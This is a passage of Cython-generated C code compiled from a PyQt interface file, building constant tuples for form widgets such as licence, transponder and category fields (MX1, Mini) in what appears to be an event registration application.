__pyx_int_420, __pyx_int_0); if (unlikely(!__pyx_tuple__341)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__341); __Pyx_GIVEREF(__pyx_tuple__341); /* "Ui_MainWindow.py":544 * self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_licences.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_licences.setAcceptDrops(False) * self.RR_licences.setToolTip("") */ __pyx_tuple__342 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__342)) __PYX_ERR(0, 544, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__342); __Pyx_GIVEREF(__pyx_tuple__342); /* "Ui_MainWindow.py":545 * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_licences.setMouseTracking(False) * self.RR_licences.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_licences.setToolTip("") * self.RR_licences.setStatusTip("") */ __pyx_tuple__343 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__343)) __PYX_ERR(0, 545, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__343); __Pyx_GIVEREF(__pyx_tuple__343); /* "Ui_MainWindow.py":546 * self.RR_licences.setMouseTracking(False) * self.RR_licences.setAcceptDrops(False) * self.RR_licences.setToolTip("") # <<<<<<<<<<<<<< * self.RR_licences.setStatusTip("") * self.RR_licences.setAccessibleName("") */ __pyx_tuple__344 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__344)) __PYX_ERR(0, 546, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__344); __Pyx_GIVEREF(__pyx_tuple__344); /* "Ui_MainWindow.py":547 * self.RR_licences.setAcceptDrops(False) * self.RR_licences.setToolTip("") * self.RR_licences.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_licences.setAccessibleName("") * self.RR_licences.setAccessibleDescription("") */ __pyx_tuple__345 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__345)) __PYX_ERR(0, 547, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__345); __Pyx_GIVEREF(__pyx_tuple__345); /* "Ui_MainWindow.py":548 * self.RR_licences.setToolTip("") * self.RR_licences.setStatusTip("") * self.RR_licences.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_licences.setAccessibleDescription("") * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) */ __pyx_tuple__346 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__346)) __PYX_ERR(0, 548, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__346); __Pyx_GIVEREF(__pyx_tuple__346); /* "Ui_MainWindow.py":549 * self.RR_licences.setStatusTip("") * self.RR_licences.setAccessibleName("") * self.RR_licences.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.RR_licences.setInputMask("") */ __pyx_tuple__347 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__347)) __PYX_ERR(0, 549, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__347); __Pyx_GIVEREF(__pyx_tuple__347); /* "Ui_MainWindow.py":551 * self.RR_licences.setAccessibleDescription("") * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.RR_licences.setInputMask("") # <<<<<<<<<<<<<< * self.RR_licences.setText("Licences") * self.RR_licences.setFrame(False) */ __pyx_tuple__348 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__348)) __PYX_ERR(0, 551, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__348); __Pyx_GIVEREF(__pyx_tuple__348); /* "Ui_MainWindow.py":552 * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.RR_licences.setInputMask("") * self.RR_licences.setText("Licences") # <<<<<<<<<<<<<< * self.RR_licences.setFrame(False) * self.RR_licences.setReadOnly(True) */ __pyx_tuple__349 = PyTuple_Pack(1, __pyx_n_u_Licences); if (unlikely(!__pyx_tuple__349)) __PYX_ERR(0, 552, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__349); __Pyx_GIVEREF(__pyx_tuple__349); /* "Ui_MainWindow.py":553 * self.RR_licences.setInputMask("") * self.RR_licences.setText("Licences") * self.RR_licences.setFrame(False) # <<<<<<<<<<<<<< * self.RR_licences.setReadOnly(True) * self.RR_licences.setPlaceholderText("") */ __pyx_tuple__350 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__350)) __PYX_ERR(0, 553, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__350); __Pyx_GIVEREF(__pyx_tuple__350); /* "Ui_MainWindow.py":554 * self.RR_licences.setText("Licences") * self.RR_licences.setFrame(False) * self.RR_licences.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_licences.setPlaceholderText("") * self.RR_licences.setObjectName("RR_licences") */ __pyx_tuple__351 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__351)) __PYX_ERR(0, 554, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__351); __Pyx_GIVEREF(__pyx_tuple__351); /* "Ui_MainWindow.py":555 * self.RR_licences.setFrame(False) * self.RR_licences.setReadOnly(True) * self.RR_licences.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_licences.setObjectName("RR_licences") * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) */ __pyx_tuple__352 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__352)) __PYX_ERR(0, 555, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__352); __Pyx_GIVEREF(__pyx_tuple__352); /* "Ui_MainWindow.py":556 * self.RR_licences.setReadOnly(True) * self.RR_licences.setPlaceholderText("") * self.RR_licences.setObjectName("RR_licences") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) * spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) */ __pyx_tuple__353 = PyTuple_Pack(1, __pyx_n_u_RR_licences); if (unlikely(!__pyx_tuple__353)) __PYX_ERR(0, 556, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__353); __Pyx_GIVEREF(__pyx_tuple__353); /* "Ui_MainWindow.py":561 * self.formLayout_3.setItem(21, QtWidgets.QFormLayout.SpanningRole, spacerItem1) * self.label_47 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_47.setObjectName("label_47") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_tuple__354 = PyTuple_Pack(1, __pyx_n_u_label_47); if (unlikely(!__pyx_tuple__354)) __PYX_ERR(0, 561, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__354); __Pyx_GIVEREF(__pyx_tuple__354); /* "Ui_MainWindow.py":564 * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_transponder.setToolTip("") # <<<<<<<<<<<<<< * self.RR_transponder.setStatusTip("") * self.RR_transponder.setAccessibleName("") */ __pyx_tuple__355 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__355)) __PYX_ERR(0, 564, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__355); __Pyx_GIVEREF(__pyx_tuple__355); /* "Ui_MainWindow.py":565 * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_transponder.setToolTip("") * self.RR_transponder.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_transponder.setAccessibleName("") * self.RR_transponder.setAccessibleDescription("") */ __pyx_tuple__356 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__356)) __PYX_ERR(0, 565, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__356); __Pyx_GIVEREF(__pyx_tuple__356); /* "Ui_MainWindow.py":566 * self.RR_transponder.setToolTip("") * self.RR_transponder.setStatusTip("") * self.RR_transponder.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_transponder.setAccessibleDescription("") * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) */ __pyx_tuple__357 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__357)) __PYX_ERR(0, 566, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__357); __Pyx_GIVEREF(__pyx_tuple__357); /* "Ui_MainWindow.py":567 * self.RR_transponder.setStatusTip("") * self.RR_transponder.setAccessibleName("") * self.RR_transponder.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.RR_transponder.setText("0000000000") */ __pyx_tuple__358 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__358)) __PYX_ERR(0, 567, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__358); __Pyx_GIVEREF(__pyx_tuple__358); /* "Ui_MainWindow.py":569 * self.RR_transponder.setAccessibleDescription("") * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.RR_transponder.setText("0000000000") # <<<<<<<<<<<<<< * self.RR_transponder.setMaxLength(12) * self.RR_transponder.setPlaceholderText("") */ __pyx_tuple__359 = PyTuple_Pack(1, __pyx_kp_u_0000000000); if (unlikely(!__pyx_tuple__359)) __PYX_ERR(0, 569, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__359); __Pyx_GIVEREF(__pyx_tuple__359); /* "Ui_MainWindow.py":570 * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.RR_transponder.setText("0000000000") * self.RR_transponder.setMaxLength(12) # <<<<<<<<<<<<<< * self.RR_transponder.setPlaceholderText("") * self.RR_transponder.setObjectName("RR_transponder") */ __pyx_tuple__360 = PyTuple_Pack(1, __pyx_int_12); if (unlikely(!__pyx_tuple__360)) __PYX_ERR(0, 570, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__360); __Pyx_GIVEREF(__pyx_tuple__360); /* "Ui_MainWindow.py":571 * self.RR_transponder.setText("0000000000") * self.RR_transponder.setMaxLength(12) * self.RR_transponder.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_transponder.setObjectName("RR_transponder") * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) */ __pyx_tuple__361 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__361)) __PYX_ERR(0, 571, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__361); __Pyx_GIVEREF(__pyx_tuple__361); /* "Ui_MainWindow.py":572 * self.RR_transponder.setMaxLength(12) * self.RR_transponder.setPlaceholderText("") * self.RR_transponder.setObjectName("RR_transponder") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) * self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_tuple__362 = PyTuple_Pack(1, __pyx_n_u_RR_transponder); if (unlikely(!__pyx_tuple__362)) __PYX_ERR(0, 572, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__362); __Pyx_GIVEREF(__pyx_tuple__362); /* "Ui_MainWindow.py":575 * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) * self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_48.setObjectName("label_48") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) */ __pyx_tuple__363 = PyTuple_Pack(1, __pyx_n_u_label_48); if (unlikely(!__pyx_tuple__363)) __PYX_ERR(0, 575, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__363); __Pyx_GIVEREF(__pyx_tuple__363); /* "Ui_MainWindow.py":578 * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) * self.RR_Categorie.setToolTip("") # <<<<<<<<<<<<<< * self.RR_Categorie.setStatusTip("") * self.RR_Categorie.setAccessibleName("") */ __pyx_tuple__364 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__364)) __PYX_ERR(0, 578, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__364); __Pyx_GIVEREF(__pyx_tuple__364); /* "Ui_MainWindow.py":579 * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) * self.RR_Categorie.setToolTip("") * self.RR_Categorie.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_Categorie.setAccessibleName("") * self.RR_Categorie.setAccessibleDescription("") */ __pyx_tuple__365 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__365)) __PYX_ERR(0, 579, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__365); __Pyx_GIVEREF(__pyx_tuple__365); /* "Ui_MainWindow.py":580 * self.RR_Categorie.setToolTip("") * self.RR_Categorie.setStatusTip("") * self.RR_Categorie.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_Categorie.setAccessibleDescription("") * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) */ __pyx_tuple__366 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__366)) __PYX_ERR(0, 580, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__366); __Pyx_GIVEREF(__pyx_tuple__366); /* "Ui_MainWindow.py":581 * self.RR_Categorie.setStatusTip("") * self.RR_Categorie.setAccessibleName("") * self.RR_Categorie.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) */ __pyx_tuple__367 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__367)) __PYX_ERR(0, 581, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__367); __Pyx_GIVEREF(__pyx_tuple__367); /* "Ui_MainWindow.py":584 * self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.RR_Categorie.setHeaderHidden(False) # <<<<<<<<<<<<<< * self.RR_Categorie.setExpandsOnDoubleClick(True) * self.RR_Categorie.setObjectName("RR_Categorie") */ __pyx_tuple__368 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__368)) __PYX_ERR(0, 584, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__368); __Pyx_GIVEREF(__pyx_tuple__368); /* "Ui_MainWindow.py":585 * self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.RR_Categorie.setHeaderHidden(False) * self.RR_Categorie.setExpandsOnDoubleClick(True) # <<<<<<<<<<<<<< * self.RR_Categorie.setObjectName("RR_Categorie") * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) */ __pyx_tuple__369 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__369)) __PYX_ERR(0, 585, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__369); __Pyx_GIVEREF(__pyx_tuple__369); /* "Ui_MainWindow.py":586 * self.RR_Categorie.setHeaderHidden(False) * self.RR_Categorie.setExpandsOnDoubleClick(True) * self.RR_Categorie.setObjectName("RR_Categorie") # <<<<<<<<<<<<<< * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") */ __pyx_tuple__370 = PyTuple_Pack(1, __pyx_n_u_RR_Categorie); if (unlikely(!__pyx_tuple__370)) __PYX_ERR(0, 586, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__370); __Pyx_GIVEREF(__pyx_tuple__370); /* "Ui_MainWindow.py":588 * self.RR_Categorie.setObjectName("RR_Categorie") * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") # <<<<<<<<<<<<<< * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") */ __pyx_tuple__371 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__371)) __PYX_ERR(0, 588, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__371); __Pyx_GIVEREF(__pyx_tuple__371); __pyx_tuple__372 = PyTuple_Pack(2, __pyx_int_0, __pyx_n_u_MX1); if (unlikely(!__pyx_tuple__372)) __PYX_ERR(0, 588, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__372); __Pyx_GIVEREF(__pyx_tuple__372); /* "Ui_MainWindow.py":589 * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") * item_0.setToolTip(0, "") # <<<<<<<<<<<<<< * item_0.setStatusTip(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_tuple__373 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__373)) __PYX_ERR(0, 589, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__373); __Pyx_GIVEREF(__pyx_tuple__373); /* "Ui_MainWindow.py":590 * self.RR_Categorie.topLevelItem(0).setText(0, "MX1") * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_tuple__374 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__374)) __PYX_ERR(0, 590, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__374); __Pyx_GIVEREF(__pyx_tuple__374); /* "Ui_MainWindow.py":594 * item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_tuple__375 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__375)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__375); __Pyx_GIVEREF(__pyx_tuple__375); __pyx_tuple__376 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__376)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__376); __Pyx_GIVEREF(__pyx_tuple__376); __pyx_tuple__377 = PyTuple_Pack(2, __pyx_int_0, __pyx_n_u_Top); if (unlikely(!__pyx_tuple__377)) __PYX_ERR(0, 594, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__377); __Pyx_GIVEREF(__pyx_tuple__377); /* "Ui_MainWindow.py":595 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") */ __pyx_tuple__378 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__378)) __PYX_ERR(0, 595, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__378); __Pyx_GIVEREF(__pyx_tuple__378); /* "Ui_MainWindow.py":596 * self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_tuple__379 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__379)) __PYX_ERR(0, 596, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__379); __Pyx_GIVEREF(__pyx_tuple__379); /* "Ui_MainWindow.py":597 * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_tuple__380 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__380)) __PYX_ERR(0, 597, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__380); __Pyx_GIVEREF(__pyx_tuple__380); /* "Ui_MainWindow.py":601 * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_tuple__381 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__381)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__381); __Pyx_GIVEREF(__pyx_tuple__381); __pyx_tuple__382 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__382)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__382); __Pyx_GIVEREF(__pyx_tuple__382); __pyx_tuple__383 = PyTuple_Pack(2, __pyx_int_0, __pyx_n_u_Pro); if (unlikely(!__pyx_tuple__383)) __PYX_ERR(0, 601, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__383); __Pyx_GIVEREF(__pyx_tuple__383); /* "Ui_MainWindow.py":602 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") */ __pyx_tuple__384 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__384)) __PYX_ERR(0, 602, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__384); __Pyx_GIVEREF(__pyx_tuple__384); /* "Ui_MainWindow.py":603 * self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_tuple__385 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__385)) __PYX_ERR(0, 603, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__385); __Pyx_GIVEREF(__pyx_tuple__385); /* "Ui_MainWindow.py":604 * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_tuple__386 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__386)) __PYX_ERR(0, 604, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__386); __Pyx_GIVEREF(__pyx_tuple__386); /* "Ui_MainWindow.py":608 * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_tuple__387 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__387)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__387); __Pyx_GIVEREF(__pyx_tuple__387); __pyx_tuple__388 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__388)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__388); __Pyx_GIVEREF(__pyx_tuple__388); __pyx_tuple__389 = PyTuple_Pack(2, __pyx_int_0, __pyx_n_u_Cartons); if (unlikely(!__pyx_tuple__389)) __PYX_ERR(0, 608, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__389); __Pyx_GIVEREF(__pyx_tuple__389); /* "Ui_MainWindow.py":609 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") */ __pyx_tuple__390 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__390)) __PYX_ERR(0, 609, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__390); __Pyx_GIVEREF(__pyx_tuple__390); /* "Ui_MainWindow.py":610 * self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_tuple__391 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__391)) __PYX_ERR(0, 610, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__391); __Pyx_GIVEREF(__pyx_tuple__391); /* "Ui_MainWindow.py":611 * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") * item_1.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) */ __pyx_tuple__392 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__392)) __PYX_ERR(0, 611, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__392); __Pyx_GIVEREF(__pyx_tuple__392); /* "Ui_MainWindow.py":615 * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") # <<<<<<<<<<<<<< * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") */ __pyx_tuple__393 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__393)) __PYX_ERR(0, 615, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__393); __Pyx_GIVEREF(__pyx_tuple__393); __pyx_tuple__394 = PyTuple_Pack(2, __pyx_int_0, __pyx_n_u_Mini); if (unlikely(!__pyx_tuple__394)) __PYX_ERR(0, 615, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__394); __Pyx_GIVEREF(__pyx_tuple__394); /* "Ui_MainWindow.py":616 * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") * item_0.setToolTip(0, "") # <<<<<<<<<<<<<< * item_0.setStatusTip(0, "") * item_0.setWhatsThis(0, "") */ __pyx_tuple__395 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__395)) __PYX_ERR(0, 616, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__395); __Pyx_GIVEREF(__pyx_tuple__395); /* "Ui_MainWindow.py":617 * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_0.setWhatsThis(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_tuple__396 = PyTuple_Pack(2, __pyx_int_0, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__396)) __PYX_ERR(0, 617, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__396); __Pyx_GIVEREF(__pyx_tuple__396); /* "Ui_MainWindow.py":618 * 